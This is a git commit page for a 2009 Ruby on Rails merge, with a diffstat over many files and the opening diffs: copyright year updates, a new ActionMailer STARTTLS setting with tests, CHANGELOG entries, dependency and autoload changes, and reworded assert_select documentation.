aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJoshua Peek <josh@joshpeek.com>2009-01-22 15:13:47 -0600
committerJoshua Peek <josh@joshpeek.com>2009-01-22 15:13:47 -0600
commitcc0b5fa9930dcc60914e21b518b3c54109243cfa (patch)
tree3b5c65d8d0329388730542093314028630b0945a
parente57cb2629ac4971a5dcb1cf8bb2f6d0509317928 (diff)
parentccda96093a3bf3fb360f7c6d61bbbf341b2ae034 (diff)
downloadrails-cc0b5fa9930dcc60914e21b518b3c54109243cfa.tar.gz
rails-cc0b5fa9930dcc60914e21b518b3c54109243cfa.tar.bz2
rails-cc0b5fa9930dcc60914e21b518b3c54109243cfa.zip
Merge branch 'master' into 3-0-unstable
Conflicts: ci/cruise_config.rb
-rw-r--r--.gitignore2
-rw-r--r--actionmailer/MIT-LICENSE2
-rw-r--r--actionmailer/lib/action_mailer.rb2
-rw-r--r--actionmailer/lib/action_mailer/base.rb20
-rw-r--r--actionmailer/test/abstract_unit.rb1
-rw-r--r--actionmailer/test/mail_service_test.rb12
-rw-r--r--actionmailer/test/quoting_test.rb6
-rw-r--r--actionpack/CHANGELOG16
-rw-r--r--actionpack/MIT-LICENSE2
-rw-r--r--actionpack/Rakefile2
-rw-r--r--actionpack/lib/action_controller.rb17
-rw-r--r--actionpack/lib/action_controller/assertions/selector_assertions.rb24
-rw-r--r--actionpack/lib/action_controller/base.rb68
-rw-r--r--actionpack/lib/action_controller/dispatcher.rb14
-rw-r--r--actionpack/lib/action_controller/flash.rb12
-rw-r--r--actionpack/lib/action_controller/helpers.rb6
-rw-r--r--actionpack/lib/action_controller/integration.rb25
-rw-r--r--actionpack/lib/action_controller/lock.rb16
-rw-r--r--actionpack/lib/action_controller/middleware_stack.rb28
-rw-r--r--actionpack/lib/action_controller/middlewares.rb8
-rw-r--r--actionpack/lib/action_controller/mime_responds.rb23
-rw-r--r--actionpack/lib/action_controller/params_parser.rb71
-rw-r--r--actionpack/lib/action_controller/polymorphic_routes.rb18
-rw-r--r--actionpack/lib/action_controller/rack_ext.rb3
-rw-r--r--actionpack/lib/action_controller/rack_ext/lock.rb21
-rw-r--r--actionpack/lib/action_controller/rack_ext/multipart.rb22
-rw-r--r--actionpack/lib/action_controller/rack_ext/parse_query.rb18
-rwxr-xr-xactionpack/lib/action_controller/request.rb488
-rw-r--r--actionpack/lib/action_controller/request_profiler.rb168
-rw-r--r--actionpack/lib/action_controller/rescue.rb8
-rw-r--r--actionpack/lib/action_controller/response.rb9
-rw-r--r--actionpack/lib/action_controller/rewindable_input.rb28
-rw-r--r--actionpack/lib/action_controller/routing.rb5
-rw-r--r--actionpack/lib/action_controller/routing/route_set.rb67
-rw-r--r--actionpack/lib/action_controller/session/cookie_store.rb10
-rw-r--r--actionpack/lib/action_controller/session_management.rb2
-rw-r--r--actionpack/lib/action_controller/test_case.rb22
-rw-r--r--actionpack/lib/action_controller/test_process.rb121
-rw-r--r--actionpack/lib/action_controller/uploaded_file.rb44
-rw-r--r--actionpack/lib/action_controller/url_encoded_pair_parser.rb155
-rw-r--r--actionpack/lib/action_controller/verb_piggybacking.rb24
-rw-r--r--actionpack/lib/action_pack.rb2
-rw-r--r--actionpack/lib/action_view.rb2
-rw-r--r--actionpack/lib/action_view/base.rb2
-rw-r--r--actionpack/lib/action_view/helpers/asset_tag_helper.rb598
-rw-r--r--actionpack/lib/action_view/helpers/benchmark_helper.rb29
-rw-r--r--actionpack/lib/action_view/helpers/date_helper.rb10
-rw-r--r--actionpack/lib/action_view/helpers/form_helper.rb10
-rw-r--r--actionpack/lib/action_view/inline_template.rb2
-rw-r--r--actionpack/lib/action_view/paths.rb107
-rw-r--r--actionpack/lib/action_view/renderable.rb9
-rw-r--r--actionpack/lib/action_view/renderable_partial.rb7
-rw-r--r--actionpack/lib/action_view/template.rb87
-rw-r--r--actionpack/lib/action_view/template_handlers.rb6
-rw-r--r--actionpack/lib/action_view/test_case.rb3
-rw-r--r--actionpack/test/abstract_unit.rb1
-rw-r--r--actionpack/test/controller/addresses_render_test.rb9
-rw-r--r--actionpack/test/controller/assert_select_test.rb8
-rw-r--r--actionpack/test/controller/base_test.rb22
-rw-r--r--actionpack/test/controller/benchmark_test.rb6
-rw-r--r--actionpack/test/controller/caching_test.rb3
-rw-r--r--actionpack/test/controller/capture_test.rb9
-rw-r--r--actionpack/test/controller/content_type_test.rb9
-rw-r--r--actionpack/test/controller/cookie_test.rb8
-rw-r--r--actionpack/test/controller/dispatcher_test.rb9
-rw-r--r--actionpack/test/controller/filters_test.rb8
-rw-r--r--actionpack/test/controller/flash_test.rb8
-rw-r--r--actionpack/test/controller/http_authentication_test.rb54
-rw-r--r--actionpack/test/controller/http_basic_authentication_test.rb88
-rw-r--r--actionpack/test/controller/integration_test.rb6
-rw-r--r--actionpack/test/controller/integration_upload_test.rb39
-rw-r--r--actionpack/test/controller/layout_test.rb23
-rw-r--r--actionpack/test/controller/middleware_stack_test.rb76
-rw-r--r--actionpack/test/controller/rack_test.rb13
-rw-r--r--actionpack/test/controller/render_test.rb87
-rw-r--r--actionpack/test/controller/request/json_params_parsing_test.rb45
-rw-r--r--actionpack/test/controller/request/multipart_params_parsing_test.rb223
-rw-r--r--actionpack/test/controller/request/query_string_parsing_test.rb120
-rw-r--r--actionpack/test/controller/request/url_encoded_params_parsing_test.rb220
-rw-r--r--actionpack/test/controller/request/xml_params_parsing_test.rb88
-rw-r--r--actionpack/test/controller/request_test.rb488
-rw-r--r--actionpack/test/controller/rescue_test.rb28
-rw-r--r--actionpack/test/controller/routing_test.rb133
-rw-r--r--actionpack/test/controller/send_file_test.rb3
-rw-r--r--actionpack/test/controller/session/cookie_store_test.rb9
-rw-r--r--actionpack/test/fixtures/multipart/empty10
-rw-r--r--actionpack/test/fixtures/multipart/hello.txt1
-rw-r--r--actionpack/test/fixtures/multipart/none9
-rw-r--r--actionpack/test/template/asset_tag_helper_test.rb22
-rw-r--r--actionpack/test/template/benchmark_helper_test.rb74
-rw-r--r--actionpack/test/template/compiled_templates_test.rb9
-rw-r--r--actionpack/test/template/date_helper_test.rb95
-rw-r--r--actionpack/test/template/render_test.rb7
-rw-r--r--activerecord/CHANGELOG14
-rw-r--r--activerecord/MIT-LICENSE2
-rw-r--r--activerecord/lib/active_record.rb3
-rw-r--r--activerecord/lib/active_record/association_preload.rb37
-rwxr-xr-xactiverecord/lib/active_record/associations.rb44
-rw-r--r--activerecord/lib/active_record/associations/association_proxy.rb5
-rw-r--r--activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb12
-rwxr-xr-xactiverecord/lib/active_record/base.rb197
-rw-r--r--activerecord/lib/active_record/calculations.rb24
-rw-r--r--activerecord/lib/active_record/callbacks.rb7
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb110
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb12
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb48
-rwxr-xr-xactiverecord/lib/active_record/connection_adapters/abstract_adapter.rb23
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql_adapter.rb39
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb67
-rw-r--r--activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb4
-rw-r--r--activerecord/lib/active_record/dirty.rb6
-rw-r--r--activerecord/lib/active_record/dynamic_scope_match.rb25
-rw-r--r--activerecord/lib/active_record/fixtures.rb3
-rw-r--r--activerecord/lib/active_record/locale/en.yml2
-rw-r--r--activerecord/lib/active_record/named_scope.rb2
-rw-r--r--activerecord/lib/active_record/reflection.rb8
-rw-r--r--activerecord/lib/active_record/session_store.rb5
-rw-r--r--activerecord/lib/active_record/transactions.rb66
-rw-r--r--activerecord/lib/active_record/validations.rb2
-rw-r--r--activerecord/test/cases/associations/cascaded_eager_loading_test.rb8
-rw-r--r--activerecord/test/cases/associations/eager_test.rb48
-rw-r--r--activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb11
-rw-r--r--activerecord/test/cases/associations/has_many_associations_test.rb9
-rwxr-xr-xactiverecord/test/cases/base_test.rb5
-rw-r--r--activerecord/test/cases/callbacks_test.rb44
-rw-r--r--activerecord/test/cases/defaults_test.rb63
-rw-r--r--activerecord/test/cases/dirty_test.rb26
-rw-r--r--activerecord/test/cases/helper.rb2
-rw-r--r--activerecord/test/cases/json_serialization_test.rb2
-rw-r--r--activerecord/test/cases/named_scope_test.rb22
-rw-r--r--activerecord/test/cases/transactions_test.rb166
-rw-r--r--activerecord/test/fixtures/people.yml11
-rw-r--r--activerecord/test/models/person.rb6
-rw-r--r--activerecord/test/schema/schema.rb7
-rw-r--r--activeresource/MIT-LICENSE2
-rw-r--r--activeresource/lib/active_resource/http_mock.rb8
-rw-r--r--activesupport/CHANGELOG9
-rw-r--r--activesupport/MIT-LICENSE2
-rw-r--r--activesupport/lib/active_support/buffered_logger.rb14
-rw-r--r--activesupport/lib/active_support/cache.rb4
-rw-r--r--activesupport/lib/active_support/cache/mem_cache_store.rb7
-rw-r--r--activesupport/lib/active_support/cache/strategy/local_cache.rb104
-rw-r--r--activesupport/lib/active_support/callbacks.rb41
-rw-r--r--activesupport/lib/active_support/core_ext/class/attribute_accessors.rb48
-rw-r--r--activesupport/lib/active_support/core_ext/class/delegating_attributes.rb39
-rw-r--r--activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb68
-rw-r--r--activesupport/lib/active_support/core_ext/date/conversions.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/conversions.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash/conversions.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash/keys.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash/slice.rb9
-rw-r--r--activesupport/lib/active_support/core_ext/logger.rb12
-rw-r--r--activesupport/lib/active_support/core_ext/module/aliasing.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb8
-rw-r--r--activesupport/lib/active_support/core_ext/module/attribute_accessors.rb48
-rw-r--r--activesupport/lib/active_support/core_ext/module/delegation.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/module/synchronization.rb10
-rw-r--r--activesupport/lib/active_support/core_ext/object/misc.rb32
-rw-r--r--activesupport/lib/active_support/core_ext/range/conversions.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/try.rb30
-rw-r--r--activesupport/lib/active_support/deprecation.rb13
-rw-r--r--activesupport/lib/active_support/json/decoding.rb2
-rw-r--r--activesupport/lib/active_support/json/encoders/date.rb2
-rw-r--r--activesupport/lib/active_support/json/encoders/date_time.rb2
-rw-r--r--activesupport/lib/active_support/json/encoders/hash.rb4
-rw-r--r--activesupport/lib/active_support/json/encoders/time.rb2
-rw-r--r--activesupport/lib/active_support/memoizable.rb58
-rw-r--r--activesupport/lib/active_support/multibyte/unicode_database.rb8
-rw-r--r--activesupport/lib/active_support/ordered_hash.rb31
-rw-r--r--activesupport/lib/active_support/testing/performance.rb2
-rw-r--r--activesupport/lib/active_support/time_with_zone.rb18
-rw-r--r--activesupport/lib/active_support/vendor.rb4
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore3
-rwxr-xr-xactivesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE20
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile20
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile5
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec27
-rwxr-xr-xactivesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.0.1/i18n.rb)74
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/backend/simple.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb)58
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/exceptions.rb (renamed from activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb)6
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb5
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb100
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb125
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb1
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml3
-rw-r--r--activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb502
-rw-r--r--activesupport/test/caching_test.rb121
-rw-r--r--activesupport/test/callbacks_test.rb42
-rw-r--r--activesupport/test/core_ext/hash_ext_test.rb20
-rw-r--r--activesupport/test/core_ext/integer_ext_test.rb4
-rw-r--r--activesupport/test/core_ext/object_and_class_ext_test.rb19
-rw-r--r--activesupport/test/core_ext/object_ext_test.rb8
-rw-r--r--activesupport/test/core_ext/time_with_zone_test.rb18
-rw-r--r--activesupport/test/json/decoding_test.rb3
-rw-r--r--activesupport/test/json/encoding_test.rb4
-rw-r--r--activesupport/test/ordered_hash_test.rb10
-rw-r--r--railties/CHANGELOG6
-rw-r--r--railties/MIT-LICENSE2
-rw-r--r--railties/Rakefile16
-rwxr-xr-xrailties/bin/performance/request3
-rw-r--r--railties/configs/initializers/session_store.rb2
-rw-r--r--railties/doc/README_FOR_APP7
-rw-r--r--railties/doc/guides/html/2_2_release_notes.html642
-rw-r--r--railties/doc/guides/html/action_mailer_basics.html197
-rw-r--r--railties/doc/guides/html/actioncontroller_basics.html724
-rw-r--r--railties/doc/guides/html/active_record_querying.html (renamed from railties/doc/guides/html/finders.html)1092
-rw-r--r--railties/doc/guides/html/activerecord_validations_callbacks.html1203
-rw-r--r--railties/doc/guides/html/association_basics.html1195
-rw-r--r--railties/doc/guides/html/authors.html248
-rw-r--r--railties/doc/guides/html/benchmarking_and_profiling.html1018
-rw-r--r--railties/doc/guides/html/caching_with_rails.html449
-rw-r--r--railties/doc/guides/html/command_line.html501
-rw-r--r--railties/doc/guides/html/configuring.html616
-rw-r--r--railties/doc/guides/html/creating_plugins.html908
-rw-r--r--railties/doc/guides/html/debugging_rails_applications.html665
-rw-r--r--railties/doc/guides/html/form_helpers.html972
-rw-r--r--railties/doc/guides/html/getting_started_with_rails.html1309
-rw-r--r--railties/doc/guides/html/i18n.html1296
-rw-r--r--railties/doc/guides/html/index.html310
-rw-r--r--railties/doc/guides/html/layouts_and_rendering.html944
-rw-r--r--railties/doc/guides/html/migrations.html657
-rw-r--r--railties/doc/guides/html/performance_testing.html728
-rw-r--r--railties/doc/guides/html/rails_on_rack.html450
-rw-r--r--railties/doc/guides/html/routing_outside_in.html1998
-rw-r--r--railties/doc/guides/html/security.html1039
-rw-r--r--railties/doc/guides/html/testing_rails_applications.html1892
-rw-r--r--railties/doc/guides/source/action_mailer_basics.txt133
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/session.txt33
-rw-r--r--railties/doc/guides/source/active_record_basics.txt29
-rw-r--r--railties/doc/guides/source/active_record_querying.txt (renamed from railties/doc/guides/source/finders.txt)278
-rw-r--r--railties/doc/guides/source/activerecord_validations_callbacks.txt366
-rw-r--r--railties/doc/guides/source/authors.txt12
-rw-r--r--railties/doc/guides/source/benchmarking_and_profiling/appendix.txt95
-rw-r--r--railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt105
-rw-r--r--railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt185
-rw-r--r--railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt27
-rw-r--r--railties/doc/guides/source/benchmarking_and_profiling/index.txt242
-rw-r--r--railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt179
-rw-r--r--railties/doc/guides/source/benchmarking_and_profiling/statistics.txt57
-rw-r--r--railties/doc/guides/source/caching_with_rails.txt8
-rw-r--r--railties/doc/guides/source/command_line.txt145
-rw-r--r--railties/doc/guides/source/configuring.txt89
-rw-r--r--railties/doc/guides/source/form_helpers.txt499
-rw-r--r--railties/doc/guides/source/getting_started_with_rails.txt72
-rw-r--r--railties/doc/guides/source/i18n.txt124
-rw-r--r--railties/doc/guides/source/images/customized_error_messages.pngbin0 -> 5055 bytes
-rw-r--r--railties/doc/guides/source/images/error_messages.pngbin0 -> 8440 bytes
-rw-r--r--railties/doc/guides/source/images/validation_error_messages.pngbin0 -> 1107 bytes
-rw-r--r--railties/doc/guides/source/index.txt35
-rw-r--r--railties/doc/guides/source/layouts_and_rendering.txt117
-rw-r--r--railties/doc/guides/source/performance_testing.txt560
-rw-r--r--railties/doc/guides/source/rails_on_rack.txt256
-rw-r--r--railties/doc/guides/source/routing_outside_in.txt115
-rw-r--r--railties/doc/guides/source/security.txt2
-rw-r--r--railties/doc/guides/source/stylesheets/base.css320
-rw-r--r--railties/doc/guides/source/stylesheets/forms.css8
-rw-r--r--railties/doc/guides/source/stylesheets/more.css181
-rw-r--r--railties/doc/guides/source/templates/guides.html.erb169
-rw-r--r--railties/doc/guides/source/templates/inline.css165
-rw-r--r--railties/doc/guides/source/testing_rails_applications.txt183
-rwxr-xr-xrailties/lib/commands/performance/request.rb6
-rw-r--r--railties/lib/dispatcher.rb2
-rw-r--r--railties/lib/initializer.rb17
-rw-r--r--railties/lib/rails/backtrace_cleaner.rb5
-rw-r--r--railties/lib/rails_generator/commands.rb2
-rw-r--r--railties/lib/rails_generator/generators/applications/app/app_generator.rb2
-rw-r--r--railties/lib/rails_generator/generators/applications/app/template_runner.rb139
-rw-r--r--railties/lib/test_help.rb1
-rw-r--r--railties/test/console_app_test.rb9
-rw-r--r--railties/test/error_page_test.rb11
-rw-r--r--railties/test/fcgi_dispatcher_test.rb49
-rw-r--r--railties/test/gem_dependency_test.rb24
-rw-r--r--railties/test/generators/rails_template_runner_test.rb190
273 files changed, 17130 insertions, 16821 deletions
diff --git a/.gitignore b/.gitignore
index 6e869a06a8..28ee9cf2a8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -15,3 +15,5 @@ railties/test/500.html
railties/doc/guides/html/images
railties/doc/guides/html/stylesheets
*.rbc
+*.swp
+*.swo
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
index 13c90d46e9..e7accc5ea1 100644
--- a/actionmailer/MIT-LICENSE
+++ b/actionmailer/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2008 David Heinemeier Hansson
+Copyright (c) 2004-2009 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index 0f173ea4e8..45fcab599c 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index c878a8d205..eda5de4e18 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -213,6 +213,8 @@ module ActionMailer #:nodoc:
# * <tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
# * <tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here.
# This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.
+ # * <tt>:enable_starttls_auto</tt> - When set to true, detects if STARTTLS is enabled in your SMTP server and starts to use it.
+ # It works only on Ruby >= 1.8.7 and Ruby >= 1.9. Default is true.
#
# * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
# * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
@@ -230,10 +232,13 @@ module ActionMailer #:nodoc:
#
# * <tt>default_charset</tt> - The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also
# pick a different charset from inside a method with +charset+.
+ #
# * <tt>default_content_type</tt> - The default content type used for the main part of the message. Defaults to "text/plain". You
# can also pick a different content type from inside a method with +content_type+.
+ #
# * <tt>default_mime_version</tt> - The default mime version used for the message. Defaults to <tt>1.0</tt>. You
# can also pick a different value from inside a method with +mime_version+.
+ #
# * <tt>default_implicit_parts_order</tt> - When a message is built implicitly (i.e. multiple parts are assembled from templates
# which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to
# <tt>["text/html", "text/enriched", "text/plain"]</tt>. Items that appear first in the array have higher priority in the mail client
@@ -252,12 +257,13 @@ module ActionMailer #:nodoc:
cattr_accessor :logger
@@smtp_settings = {
- :address => "localhost",
- :port => 25,
- :domain => 'localhost.localdomain',
- :user_name => nil,
- :password => nil,
- :authentication => nil
+ :address => "localhost",
+ :port => 25,
+ :domain => 'localhost.localdomain',
+ :user_name => nil,
+ :password => nil,
+ :authentication => nil,
+ :enable_starttls_auto => true,
}
cattr_accessor :smtp_settings
@@ -669,7 +675,7 @@ module ActionMailer #:nodoc:
sender = mail['return-path'] || mail.from
smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])
- smtp.enable_starttls_auto if smtp.respond_to?(:enable_starttls_auto)
+ smtp.enable_starttls_auto if smtp_settings[:enable_starttls_auto] && smtp.respond_to?(:enable_starttls_auto)
smtp.start(smtp_settings[:domain], smtp_settings[:user_name], smtp_settings[:password],
smtp_settings[:authentication]) do |smtp|
smtp.sendmail(mail.encoded, sender, destinations)
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index 4900f6fb35..a6126d6f7f 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -17,7 +17,6 @@ $:.unshift "#{File.dirname(__FILE__)}/fixtures/helpers"
FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
ActionMailer::Base.template_root = FIXTURE_LOAD_PATH
-ActionMailer::Base.template_root.load
class MockSMTP
def self.deliveries
diff --git a/actionmailer/test/mail_service_test.rb b/actionmailer/test/mail_service_test.rb
index 15a40552c9..a886b1143e 100644
--- a/actionmailer/test/mail_service_test.rb
+++ b/actionmailer/test/mail_service_test.rb
@@ -948,6 +948,7 @@ EOF
end
def test_starttls_is_enabled_if_supported
+ ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true
MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(true)
MockSMTP.any_instance.expects(:enable_starttls_auto)
ActionMailer::Base.delivery_method = :smtp
@@ -955,11 +956,22 @@ EOF
end
def test_starttls_is_disabled_if_not_supported
+ ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true
MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(false)
MockSMTP.any_instance.expects(:enable_starttls_auto).never
ActionMailer::Base.delivery_method = :smtp
TestMailer.deliver_signed_up(@recipient)
end
+
+ def test_starttls_is_not_enabled
+ ActionMailer::Base.smtp_settings[:enable_starttls_auto] = false
+ MockSMTP.any_instance.expects(:respond_to?).never
+ MockSMTP.any_instance.expects(:enable_starttls_auto).never
+ ActionMailer::Base.delivery_method = :smtp
+ TestMailer.deliver_signed_up(@recipient)
+ ensure
+ ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true
+ end
end
end # uses_mocha
diff --git a/actionmailer/test/quoting_test.rb b/actionmailer/test/quoting_test.rb
index 2650efccdb..2fee1379db 100644
--- a/actionmailer/test/quoting_test.rb
+++ b/actionmailer/test/quoting_test.rb
@@ -48,8 +48,10 @@ class QuotingTest < Test::Unit::TestCase
result = execute_in_sandbox(<<-CODE)
$:.unshift(File.dirname(__FILE__) + "/../lib/")
- $KCODE = 'u'
- require 'jcode'
+ if RUBY_VERSION < '1.9'
+ $KCODE = 'u'
+ require 'jcode'
+ end
require 'action_mailer/quoting'
include ActionMailer::Quoting
quoted_printable(#{original.inspect}, "UTF-8")
diff --git a/actionpack/CHANGELOG b/actionpack/CHANGELOG
index 9187bd6128..26e40e76d5 100644
--- a/actionpack/CHANGELOG
+++ b/actionpack/CHANGELOG
@@ -1,5 +1,21 @@
*2.3.0 [Edge]*
+* Added :silence option to BenchmarkHelper#benchmark and turned log_level into a hash parameter and deprecated the old use [DHH]
+
+* Fixed the AssetTagHelper cache to use the computed asset host as part of the cache key instead of just assuming the its a string #1299 [DHH]
+
+* Make ActionController#render(string) work as a shortcut for render :file/:template/:action => string. [#1435] [Pratik Naik] Examples:
+
+ # Instead of render(:action => 'other_action')
+ render('other_action') # argument has no '/'
+ render(:other_action)
+
+ # Instead of render(:template => 'controller/action')
+ render('controller/action') # argument must not begin with a '/', but contain a '/'
+
+ # Instead of render(:file => '/Users/lifo/home.html.erb')
+ render('/Users/lifo/home.html.erb') # argument must begin with a '/'
+
* Add :prompt option to date/time select helpers. #561 [Sam Oliver]
* Fixed that send_file shouldn't set an etag #1578 [Hongli Lai]
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
index 13c90d46e9..e7accc5ea1 100644
--- a/actionpack/MIT-LICENSE
+++ b/actionpack/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2008 David Heinemeier Hansson
+Copyright (c) 2004-2009 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
index 1a1b908122..c389e5a8d6 100644
--- a/actionpack/Rakefile
+++ b/actionpack/Rakefile
@@ -81,7 +81,7 @@ spec = Gem::Specification.new do |s|
s.requirements << 'none'
s.add_dependency('activesupport', '= 2.3.0' + PKG_BUILD)
- s.add_dependency('rack', '= 0.4.0')
+ s.add_dependency('rack', '>= 0.9.0')
s.require_path = 'lib'
s.autorequire = 'action_controller'
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index 3bb755376f..3e77970367 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -31,8 +31,9 @@ rescue LoadError
end
end
-gem 'rack', '~> 0.4.0'
+gem 'rack', '>= 0.9.0'
require 'rack'
+require 'action_controller/rack_ext'
module ActionController
# TODO: Review explicit to see if they will automatically be handled by
@@ -55,16 +56,17 @@ module ActionController
autoload :Integration, 'action_controller/integration'
autoload :IntegrationTest, 'action_controller/integration'
autoload :Layout, 'action_controller/layout'
- autoload :Lock, 'action_controller/lock'
autoload :MiddlewareStack, 'action_controller/middleware_stack'
autoload :MimeResponds, 'action_controller/mime_responds'
+ autoload :ParamsParser, 'action_controller/params_parser'
autoload :PolymorphicRoutes, 'action_controller/polymorphic_routes'
- autoload :Request, 'action_controller/request'
autoload :RecordIdentifier, 'action_controller/record_identifier'
- autoload :Response, 'action_controller/response'
+ autoload :Request, 'action_controller/request'
autoload :RequestForgeryProtection, 'action_controller/request_forgery_protection'
autoload :Rescue, 'action_controller/rescue'
autoload :Resources, 'action_controller/resources'
+ autoload :Response, 'action_controller/response'
+ autoload :RewindableInput, 'action_controller/rewindable_input'
autoload :Routing, 'action_controller/routing'
autoload :SessionManagement, 'action_controller/session_management'
autoload :StatusCodes, 'action_controller/status_codes'
@@ -72,9 +74,12 @@ module ActionController
autoload :TestCase, 'action_controller/test_case'
autoload :TestProcess, 'action_controller/test_process'
autoload :Translation, 'action_controller/translation'
+ autoload :UploadedFile, 'action_controller/uploaded_file'
+ autoload :UploadedStringIO, 'action_controller/uploaded_file'
+ autoload :UploadedTempfile, 'action_controller/uploaded_file'
+ autoload :UrlEncodedPairParser, 'action_controller/url_encoded_pair_parser'
autoload :UrlRewriter, 'action_controller/url_rewriter'
autoload :UrlWriter, 'action_controller/url_rewriter'
- autoload :VerbPiggybacking, 'action_controller/verb_piggybacking'
autoload :Verification, 'action_controller/verification'
module Assertions
diff --git a/actionpack/lib/action_controller/assertions/selector_assertions.rb b/actionpack/lib/action_controller/assertions/selector_assertions.rb
index 248ca85994..0d56ea5ef7 100644
--- a/actionpack/lib/action_controller/assertions/selector_assertions.rb
+++ b/actionpack/lib/action_controller/assertions/selector_assertions.rb
@@ -109,20 +109,27 @@ module ActionController
# starting from (and including) that element and all its children in
# depth-first order.
#
- # If no element if specified, calling +assert_select+ will select from the
- # response HTML. Calling #assert_select inside an +assert_select+ block will
- # run the assertion for each element selected by the enclosing assertion.
+ # If no element if specified, calling +assert_select+ selects from the
+ # response HTML unless +assert_select+ is called from within an +assert_select+ block.
+ #
+ # When called with a block +assert_select+ passes an array of selected elements
+ # to the block. Calling +assert_select+ from the block, with no element specified,
+ # runs the assertion on the complete set of elements selected by the enclosing assertion.
+ # Alternatively the array may be iterated through so that +assert_select+ can be called
+ # separately for each element.
+ #
#
# ==== Example
- # assert_select "ol>li" do |elements|
+ # If the response contains two ordered lists, each with four list elements then:
+ # assert_select "ol" do |elements|
# elements.each do |element|
- # assert_select element, "li"
+ # assert_select element, "li", 4
# end
# end
#
- # Or for short:
- # assert_select "ol>li" do
- # assert_select "li"
+ # will pass, as will:
+ # assert_select "ol" do
+ # assert_select "li", 8
# end
#
# The selector may be a CSS selector expression (String), an expression
@@ -402,6 +409,7 @@ module ActionController
if rjs_type
if rjs_type == :insert
position = args.shift
